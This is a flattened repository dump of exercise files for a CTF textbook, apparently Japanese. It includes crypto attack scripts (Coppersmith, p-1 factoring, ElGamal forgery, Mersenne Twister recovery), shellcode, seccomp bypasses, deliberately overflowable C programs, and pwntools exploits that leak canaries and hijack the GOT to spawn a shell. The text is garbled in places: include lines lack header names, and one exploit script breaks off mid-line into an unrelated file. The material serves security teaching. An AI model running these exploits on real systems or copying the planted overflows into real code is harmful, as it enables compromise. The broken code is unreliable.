c2 = pow(m + diff, e, N) 14 | print('c1:', hex(c1)) 15 | print('c2:', hex(c2)) 16 | 17 | # Coppersmith法による差の計算 18 | PR. = PolynomialRing(Zmod(N)) 19 | PRS. = PolynomialRing(Zmod(N)) 20 | f = x^e - c1 21 | g = (x+y)^e - c2 22 | 23 | ff = f.change_ring(PRS) 24 | gg = g.change_ring(PRS) 25 | r = gg.resultant(ff) # 終結式 26 | r = r.univariate_polynomial().subs(y=xs).monic() 27 | 28 | diff_ans = r.small_roots(epsilon=1/50) 29 | if len(diff_ans) > 0: 30 | print('Diff:', diff_ans[0]) 31 | else: 32 | print('Failed') 33 | print('Answer:', diff) 34 | 35 | # Example Output 36 | # c1: 0x78097c6474fe9c04adb4d03c7a19dad278730fae49ba5cffb1d513e30a679975 37 | # c2: 0x1187b9c2065d1f99def846117ad33510908cb8e5d34aeeae921ea8f54ffc5f02 38 | # Diff: 12394 39 | # Answer: 12394 40 | -------------------------------------------------------------------------------- /dist/files/crypto/chap18_rsa/p-1.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | 3 | def next_prime(x): 4 | while True: 5 | x += 1 6 | if isPrime(x): 7 | return x 8 | 9 | x = 2**8 * 3**5 * 5**4 * 7**3 10 | x *= 11 * 13 * 17 * 19 * 23 * 29 * 31 * 37 11 | x *= getPrime(10) 12 | while True: 13 | p = x * getPrime(16) + 1 14 | if isPrime(p): 15 | break 16 | 17 | q = getPrime(p.bit_length()) 18 | N = p * q 19 | print('N:', N) 20 | 21 | B = 65537 22 | pp = 1 23 | M = 1 24 | print('Generating M...') 25 | while True: 26 | pp = next_prime(pp) 27 | if pp > B: 28 | break 29 | M *= pp * int(math.log(B, pp)) 30 | print('Bits of M:', M.bit_length()) 31 | 32 | print('Find prime') 33 | for a in range(2, 1000): 34 | g = GCD(pow(a, M, N) - 1, N) 35 | if g > 1: 36 | print('p:', g) 37 | print('q:', N//g) 38 | break 39 | -------------------------------------------------------------------------------- /dist/files/crypto/chap19_elgamal/elgamal_forging.sage: -------------------------------------------------------------------------------- 1 | def safe_prime(n): 2 | while True: 3 | q = random_prime(n) 4 | p = 2 * q + 1 5 | if p.is_prime(): 6 | return p 7 | 8 | p = safe_prime(2^128) 9 | g = 3 10 | x = 12345678 11 | y = pow(g, x, p) 12 | 13 | a = 123 14 | b = 4567 15 | 16 | r = ZZ(pow(g, a, p) * pow(y, b, p) % p) 17 | s = -r * pow(b, -1, p-1) % (p-1) 18 | m = -r * a * pow(b, -1, p-1) % (p-1) 19 | 20 | print('p:', p) 21 | print('r:', r) 22 | print('s:', s) 23 | print('m:', m) 24 | print() 25 | print('g^m :', pow(g, m, p)) 26 | print('validate:', pow(y, r, p) * pow(r, s, p) % p) 27 | -------------------------------------------------------------------------------- /dist/files/crypto/chap19_elgamal/elgamal_pohlig.sage: -------------------------------------------------------------------------------- 1 | from sage.groups.generic import bsgs 2 | 3 | # 鍵生成 4 | p = 27986912805633997850732479367 5 | g = 5 6 | x = ZZ.random_element(p-1) 7 | h = pow(g, x, p) 8 | print('p:', p) 9 | print('p_len:', p.nbits()) 10 | print('x:', x) 11 | print('h:', h) 12 | 13 | # Pohlig-Hellman 14 | pm1 = p-1 15 | factors = pm1.factor() 16 | print('factors:', factors) 17 | 18 | print('subgroup solution:') 19 | xs = [] 20 | mods = [] 21 | for num, i in factors: 22 | suborder = num^i 23 | sub_h = pow(h, pm1/suborder, p) 24 | sub_g = pow(g, pm1/suborder, p) 25 | sub_x = bsgs(sub_g, sub_h, (0, p-1)) 26 | print('x = {} mod {}'.format(sub_x, suborder)) 27 | 28 | mods.append(suborder) 29 | xs.append(sub_x) 30 | 31 | x2 = crt(xs, mods) 32 | print('real x: ', x) 33 | print('calculated x:', x2) 34 | -------------------------------------------------------------------------------- /dist/files/crypto/chap21_random_number/mt_recovery.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | # y = x ^ ((x << shift) & mask) を戻す 4 | def left_unshift(x, shift, mask): 5 | i = shift 6 | y = x 7 | while i < 32: 8 | y = x ^ ((y << shift) & mask) 9 | i += shift 10 | return y 11 | 12 | # y = x ^ (x >> shift) を戻す 13 | def right_unshift(x, shift): 14 | i = shift 15 | y = x 16 | while i < 32: 17 | y = x ^ (y >> shift) 18 | i += shift 19 | return y 20 | 21 | rnd = random.Random() 22 | numbers = [rnd.getrandbits(32) for i in range(624)] 23 | 24 | for i in range(len(numbers)): 25 | num = numbers[i] 26 | num = right_unshift(num, 18) 27 | num = left_unshift(num, 15, 0xefc60000) 28 | num = left_unshift(num, 7, 0x9d2c5680) 29 | num = right_unshift(num, 11) 30 | numbers[i] = num 31 | 32 | state = rnd.getstate()[1][:-1] 33 | print('Check:', numbers == list(state)) 34 | -------------------------------------------------------------------------------- /dist/files/crypto/chap21_random_number/xorshift128.py: -------------------------------------------------------------------------------- 1 | def xorshift128(x, y, z, w): 2 | mask = 0xffffffff 3 | while True: 4 | t = (x ^ (x << 11)) & mask 5 | x, y, z = y, z, w 6 | w = ((w ^ (w >> 19)) ^ (t ^ (t >> 8))) & mask 7 | yield w 8 | 9 | gen = xorshift128(123456789, 362436069, 521288629, 88675123) 10 | 11 | for i in range(10): 12 | print(next(gen)) 13 | 14 | # 実行結果 15 | # 3701687786 16 | # 458299110 17 | # 2500872618 18 | # 3633119408 19 | # 516391518 20 | # 2377269574 21 | # 2599949379 22 | # 717229868 23 | # 137866584 24 | # 395339113 25 | -------------------------------------------------------------------------------- /dist/files/crypto/chap22_practice/proof_of_work.py: -------------------------------------------------------------------------------- 1 | from hashlib import sha1 2 | import string 3 | 4 | prefix = 'CTF_' 5 | chars = string.ascii_letters + string.digits 6 | 7 | found = False 8 | for c1 in chars: 9 | for c2 in chars: 10 | _input = prefix + c1 + c2 11 | shahash = sha1(_input.encode()).hexdigest() 12 | if shahash[-3:] == '000': 13 | print(_input, shahash) 14 | found = True 15 | break 16 | if found: 17 | break 18 | -------------------------------------------------------------------------------- /dist/files/preliminaries/compose/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | RUN apk add --no-cache curl -------------------------------------------------------------------------------- /dist/files/preliminaries/compose/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | nginx: 5 | image: nginx:latest 6 | 7 | client: 8 | build: ./ 9 | entrypoint: curl -s nginx:80 10 | depends_on: 11 | - nginx 12 | -------------------------------------------------------------------------------- /dist/files/preliminaries/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | COPY ./sample.txt /sample.txt -------------------------------------------------------------------------------- /dist/files/preliminaries/docker/sample.txt: -------------------------------------------------------------------------------- 1 | SAMPLE SAMPLE -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/loop.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/loop.bin -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/loop.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/loop.elf -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/loop.s: -------------------------------------------------------------------------------- 1 | BITS 64 2 | global _start 3 | 4 | _start: 5 | mov rax, 1 6 | mov rcx, 10 7 | loop: 8 | add rax, rax 9 | dec rcx 10 | jnz loop 11 | end: 12 | jmp end 13 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/loop_wo_nllf.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/loop_wo_nllf.bin -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/loop_wo_nllf.s: -------------------------------------------------------------------------------- 1 | BITS 64 2 | global _start 3 | 4 | _start: 5 | xor rax, rax 6 | inc rax 7 | xor rcx, rcx 8 | mov cl, 9 9 | loop: 10 | add rax, rax 11 | dec rcx 12 | jns loop 13 | end: 14 | jmp end 15 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/mmap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void){ 5 | mmap((void*)0x10000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 6 | mmap((void*)0x20000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 7 | } 8 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/mmap_w_nx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/mmap_w_nx -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/mmap_wo_nx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/mmap_wo_nx -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/readfile.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/readfile.bin -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/readfile.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/readfile.elf -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/readfile.s: -------------------------------------------------------------------------------- 1 | BITS 64 2 | global _start 3 | 4 | _start: 5 | lea rdi, [rel fname] ; filename = "/etc/lsb-release" 6 | xor rsi, rsi ; flags = O_RDONLY 7 | mov rax, 0x02 ; sys_open 8 | syscall 9 | 10 | test rax, rax 11 | js end 12 | 13 | push rax 14 | push rbp 15 | mov rbp, rsp 16 | sub rsp, 0x100 17 | 18 | mov rdi, rax ; fd = open() 19 | mov rsi, rsp ; buf : stack 20 | mov rdx, 0x100 ; count = 0x100 21 | mov rax, 0x00 ; sys_read 22 | syscall 23 | 24 | mov rdi, 1 ; fd = 1 (STDOUT_FILENO) 25 | mov rsi, rsp ; buf : stack 26 | mov rdx, rax ; count = read() 27 | mov rax, 0x01 ; sys_write 28 | syscall 29 | 30 | leave 31 | 32 | pop rdi ; fd = open() 33 | mov rax, 0x03 ; sys_close 34 | syscall 35 | 36 | end: 37 | xor rdi, rdi ; status = 0 38 | mov rax, 0x3c ; sys_exit 39 | syscall 40 | 41 | fname: 42 | db "/etc/lsb-release", 0x00 43 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/run_shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | unsigned char shellcode[] = { 4 | 0x48,0x8d,0x3d,0x52,0x00,0x00,0x00,0x48,0x31,0xf6,0xb8,0x02, 5 | 0x00,0x00,0x00,0x0f,0x05,0x48,0x85,0xc0,0x78,0x39,0x50,0x55, 6 | 0x48,0x89,0xe5,0x48,0x81,0xec,0x00,0x01,0x00,0x00,0x48,0x89, 7 | 0xc7,0x48,0x89,0xe6,0xba,0x00,0x01,0x00,0x00,0xb8,0x00,0x00, 8 | 0x00,0x00,0x0f,0x05,0xbf,0x01,0x00,0x00,0x00,0x48,0x89,0xe6, 9 | 0x48,0x89,0xc2,0xb8,0x01,0x00,0x00,0x00,0x0f,0x05,0xc9,0x5f, 10 | 0xb8,0x03,0x00,0x00,0x00,0x0f,0x05,0x48,0x31,0xff,0xb8,0x3c, 11 | 0x00,0x00,0x00,0x0f,0x05,0x2f,0x65,0x74,0x63,0x2f,0x6c,0x73, 12 | 0x62,0x2d,0x72,0x65,0x6c,0x65,0x61,0x73,0x65,0x00 13 | }; 14 | 15 | int main(void){ 16 | printf("shellcode is at %p\n", shellcode); 17 | ((void(*)())shellcode)(); 18 | } 19 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/run_shellcode_w_nx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/run_shellcode_w_nx -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/run_shellcode_wo_nx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/run_shellcode_wo_nx -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_bypass_alter: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/seccomp_bypass_alter -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_bypass_alter.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int set_seccomp(void); 6 | 7 | int main(void){ 8 | set_seccomp(); 9 | 10 | char msg[] = "Hello, World!\n"; 11 | struct iovec iov = { 12 | .iov_base = msg, 13 | .iov_len = sizeof(msg) 14 | }; 15 | 16 | writev(STDOUT_FILENO, &iov, 1); 17 | } 18 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_bypass_x32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/seccomp_bypass_x32 -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_bypass_x32.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int set_seccomp(void); 5 | 6 | char msg[] = "Hello, World!\n"; 7 | 8 | int main(void){ 9 | set_seccomp(); 10 | 11 | syscall(__X32_SYSCALL_BIT|__NR_write, STDOUT_FILENO, msg, sizeof(msg)); 12 | } 13 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_bypass_x86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/seccomp_bypass_x86 -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_bypass_x86.s: -------------------------------------------------------------------------------- 1 | global main 2 | extern set_seccomp 3 | 4 | section .text 5 | main: 6 | BITS 64 7 | call set_seccomp 8 | 9 | lea rax, [rel $ + 0x11] 10 | push rax 11 | mov dword [rsp+4], 0x23 12 | retf 13 | 14 | BITS 32 15 | lea esp, [stack + 0x100] 16 | and esp, 0xfffffff8 17 | 18 | mov eax, 4 ; sys_write (32 bit) 19 | mov ebx, 1 20 | lea ecx, [msg] 21 | mov edx, 14 22 | int 0x80 23 | 24 | push 0x33 25 | call $+5 26 | add dword [esp], 0x5 27 | retf 28 | 29 | BITS 64 30 | mov rax, 0x3c ; sys_exit (64 bit) 31 | syscall 32 | 33 | section .data 34 | msg db "Hello, World!", 0x0a, 0x00 35 | 36 | section .bss 37 | stack resb 0x100 38 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_filter: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/seccomp_filter -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_filter.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | void set_seccomp(void){ 10 | struct sock_filter filter[] = { 11 | BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), 12 | BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_write, 0, 3), 13 | BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, args[0]))), 14 | BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, STDOUT_FILENO, 0, 1), 15 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), 16 | 17 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), 18 | }; 19 | 20 | struct sock_fprog prog = { 21 | .len = (unsigned short) (sizeof(filter) / sizeof(struct sock_filter)), 22 | .filter = filter, 23 | }; 24 | 25 | prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); 26 | prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog); 27 | } 28 | 29 | int main(void){ 30 | puts("Before"); 31 | fputs("hoge\n", stderr); 32 | 33 | set_seccomp(); 34 | 35 | puts("After"); 36 | fputs("fuga\n", stderr); 37 | } 38 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_filter_write.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int set_seccomp(void){ 9 | struct sock_filter filter[] = { 10 | BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), 11 | 12 | BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_write, 0, 1), 13 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), 14 | 15 | BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), 16 | }; 17 | 18 | struct sock_fprog prog = { 19 | .len = (unsigned short) (sizeof(filter) / sizeof(struct sock_filter)), 20 | .filter = filter, 21 | }; 22 | 23 | if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { 24 | perror("prctl PR_SET_NO_NEW_PRIVS"); 25 | return -1; 26 | } 27 | 28 | if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)){ 29 | perror("prctl PR_SET_SECCOMP"); 30 | return -1; 31 | } 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_strict: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/02_shellcode/seccomp_strict -------------------------------------------------------------------------------- /dist/files/pwnable/02_shellcode/seccomp_strict.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(void){ 7 | puts("Before"); 8 | printf("pid = %d\n", getpid()); 9 | 10 | prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT, NULL); 11 | 12 | puts("After"); 13 | printf("pid = %d\n", getpid()); 14 | } 15 | -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/exploit_sbof_leak_canary.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | bin_file = './sbof_leak_w_ssp' 5 | context(os = 'linux', arch = 'amd64') 6 | # context.log_level = 'debug' 7 | 8 | binf = ELF(bin_file) 9 | addr_win = binf.functions['win'].address 10 | 11 | def attack(conn, **kwargs): 12 | conn.sendafter('>> ', b'a'*0x18+b'!') 13 | conn.recvuntil('a!') 14 | canary = u64(b'\x00' + conn.recv(7)) 15 | info('canary = 0x{:08x}'.format(canary)) 16 | 17 | exploit = b'a'*0x18 18 | exploit += p64(canary) 19 | exploit += p64(0xdeadbeef) 20 | exploit += p64(addr_win) 21 | conn.sendafter('>> ', exploit) 22 | 23 | def main(): 24 | conn = process(bin_file) 25 | attack(conn) 26 | conn.interactive() 27 | 28 | if __name__=='__main__': 29 | main() 30 | -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/exploit_sbof_pivot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | from struct import pack 4 | 5 | addr_msg = 0x404060 # msg 6 | addr_win = 0x4011e6 # win() 7 | addr_leave = 0x4011e4 # leave ; ret ; 8 | addr_rdi = 0x4012a3 # pop rdi ; ret ; 9 | addr_rsi_8 = 0x4012a1 # pop rsi ; pop r15 ; ret ; 10 | offset = 0xc0 11 | 12 | exploit_1 = b'a'*0x10 13 | exploit_1 += pack(' 2 | #include 3 | 4 | struct x { 5 | uint32_t u32; 6 | uint8_t u8arr[0x12]; 7 | uint64_t u64; 8 | }; 9 | 10 | int main(void){ 11 | double lv_double = 0.1; 12 | uint8_t lv_u8arr_1[0x10] = "AAAAAAAABBBBBBBB"; 13 | void *lv_ptr = main; 14 | uint16_t lv_u16arr[20] = {0}; 15 | struct x lv_st = { 16 | .u32 = 0x11111111, 17 | .u8arr = "XXXXXXXXYYYYYYYYZZ", 18 | .u64 = 0x2222222222222222, 19 | }; 20 | uint32_t lv_u32 = 0x33333333; 21 | uint8_t lv_u8arr_2[0x24] = 22 | "aaaaaaaabbbbbbbbccccccccddddddddeeee"; 23 | uint32_t lv_u32arr[2] = {0xdeadbeef, 0xcafebabe}; 24 | uint64_t lv_u64 = 0x4444444444444444; 25 | 26 | puts("Done"); 27 | } 28 | -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/local_vars_w_ssp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/local_vars_w_ssp -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main(void){ 5 | char buf[0x10]; 6 | 7 | dprintf(STDOUT_FILENO, "Input Name >> "); 8 | read(STDIN_FILENO, buf, 0x100); 9 | 10 | dprintf(STDOUT_FILENO, "Hello, %s!\nInput Message >> ", buf); 11 | read(STDIN_FILENO, buf, 0x100); 12 | } 13 | 14 | void win(void){ 15 | puts("Congratz!!"); 16 | } 17 | -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_leak_w_ssp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/sbof_leak_w_ssp -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_leak_w_ssp_pie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/sbof_leak_w_ssp_pie -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_lv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/sbof_lv -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_lv.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main(void){ 5 | char *priv = "user"; 6 | unsigned key = 0xcafebabe; 7 | char secret[0x10] = "AAAA"; 8 | char name[0x10] = {0}; 9 | 10 | printf("Input Name >> "); 11 | fgets(name, 0x100, stdin); 12 | printf("\nname\t: %s\nsecret\t: %s\nkey\t: %x\npriv\t: %s\n", name, secret, key, priv); 13 | 14 | if(!strcmp(priv, "admin") && 15 | !strcmp(secret, "H4cked!") && 16 | key == 0xdeadbeef) 17 | puts("Correct!"); 18 | else 19 | puts("Wrong..."); 20 | } 21 | -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_pivot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/sbof_pivot -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_pivot.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | char msg[0x100]; 4 | 5 | void main(void){ 6 | char name[0x10]; 7 | 8 | puts("Hello!"); 9 | 10 | printf("Input Name >> "); 11 | fgets(name, 0x20, stdin); 12 | 13 | printf("Input Message >> "); 14 | fgets(msg, sizeof(msg), stdin); 15 | } 16 | 17 | void win(unsigned key1, unsigned key2){ 18 | puts("This is win\n"); 19 | if(key1 == 0xcafebabe && key2 == 0xc0bebeef) 20 | puts("Correct!"); 21 | else 22 | puts("Wrong..."); 23 | } 24 | -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_ret: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/sbof_ret -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_ret.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void main(void){ 4 | char name[0x10]; 5 | 6 | printf("Input Name >> "); 7 | fgets(name, 0x100, stdin); 8 | } 9 | 10 | void win1(void){ 11 | puts("This is win1\n"); 12 | puts("Congratz!!"); 13 | } 14 | 15 | void win2(unsigned key){ 16 | puts("This is win2\n"); 17 | if(key == 0xcafebabe) 18 | puts("Correct!"); 19 | else 20 | puts("Wrong..."); 21 | } 22 | -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/sbof_ret_w_ssp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/sbof_ret_w_ssp -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/trace: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/03_stack/trace -------------------------------------------------------------------------------- /dist/files/pwnable/03_stack/trace.c: -------------------------------------------------------------------------------- 1 | void X(void){} 2 | 3 | void func4(void){} 4 | void func3(void){ func4(); } 5 | void func2(void){ X(); func3(); } 6 | void func1(void){ func2(); X(); } 7 | 8 | int main(void){ func1(); } 9 | -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/aarw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/04_resolve/aarw -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/aarw.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void aar(void); 5 | void aaw(void); 6 | 7 | __attribute__((constructor)) 8 | int init(void){ 9 | setbuf(stdout, NULL); 10 | } 11 | 12 | int main(void){ 13 | char buf[0x20] = {}; 14 | 15 | printf("1 : AAR\n2 : AAW\n>> "); 16 | 17 | do { 18 | fgets(buf, sizeof(buf), stdin); 19 | } while(buf[0] == '\n'); 20 | 21 | switch(atoi(buf)){ 22 | case 1: 23 | aar(); 24 | break; 25 | case 2: 26 | aaw(); 27 | break; 28 | } 29 | exit(0); 30 | } 31 | 32 | void aar(void){ 33 | void **p; 34 | 35 | printf("Input address to read >> "); 36 | scanf("%p", &p); 37 | printf("%p : %p\n", p, *p); 38 | } 39 | 40 | void aaw(void){ 41 | void **p; 42 | 43 | printf("Input address to write >> "); 44 | scanf("%p", &p); 45 | printf("Input value >> "); 46 | scanf("%p", p); 47 | } 48 | 49 | void win(void){ 50 | puts("Congratz!!"); 51 | } 52 | -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/dl_hash.py: -------------------------------------------------------------------------------- 1 | from functools import reduce 2 | import re 3 | 4 | dl_new_hash = lambda s : reduce(lambda h,c: h*33+c, [5381]+list(map(ord, s))) & ((1<<32)-1) 5 | gdb_xs = lambda name : re.findall(r'"(.*)"', gdb.execute('x/s {}'.format(name), to_string=True))[0] 6 | gdb_p = lambda name : int(re.findall(r' ([0-9a-fx]+)', gdb.execute('p {}'.format(name), to_string=True))[0], 0) -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/exploit_aarw.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | bin_file = './aarw' 5 | context(os = 'linux', arch = 'amd64') 6 | # context.log_level = 'debug' 7 | 8 | binf = ELF(bin_file) 9 | addr_got_atoi = binf.got['atoi'] # 0x403470 10 | addr_got_exit = binf.got['exit'] # 0x403480 11 | addr_main = binf.functions['main'].address # 0x4011b1 12 | 13 | libc = binf.libc 14 | offset_libc_atoi = libc.functions['atoi'].address # 0x047730 15 | 16 | def attack(conn, **kwargs): 17 | aaw(conn, addr_got_exit, addr_main) 18 | 19 | addr_libc_atoi = aar(conn, addr_got_atoi) 20 | libc.address = addr_libc_atoi - offset_libc_atoi 21 | info('addr_libc_base = 0x{:08x}'.format(libc.address)) 22 | addr_libc_system = libc.functions['system'].address 23 | 24 | aaw(conn, addr_got_atoi, addr_libc_system) 25 | conn.sendlineafter('>> ', '/bin/sh\x00') 26 | 27 | def aar(conn, addr): 28 | conn.sendlineafter('>> ', '1') 29 | conn.sendlineafter('read >> ', hex(addr)) 30 | conn.recvuntil(' : ') 31 | return int(conn.recvuntil('\n', drop=True), 16) 32 | 33 | def aaw(conn, addr, val): 34 | conn.sendlineafter('>> ', '2') 35 | conn.sendlineafter('write >> ', hex(addr)) 36 | conn.sendlineafter('value >> ', hex(val)) 37 | 38 | def main(): 39 | conn = process(bin_file) 40 | attack(conn) 41 | conn.interactive() 42 | 43 | if __name__=='__main__': 44 | main() 45 | -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/hello: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/04_resolve/hello -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void){ 4 | printf("Hello, "); 5 | puts("World!"); 6 | printf("waiwai"); 7 | } 8 | -------------------------------------------------------------------------------- 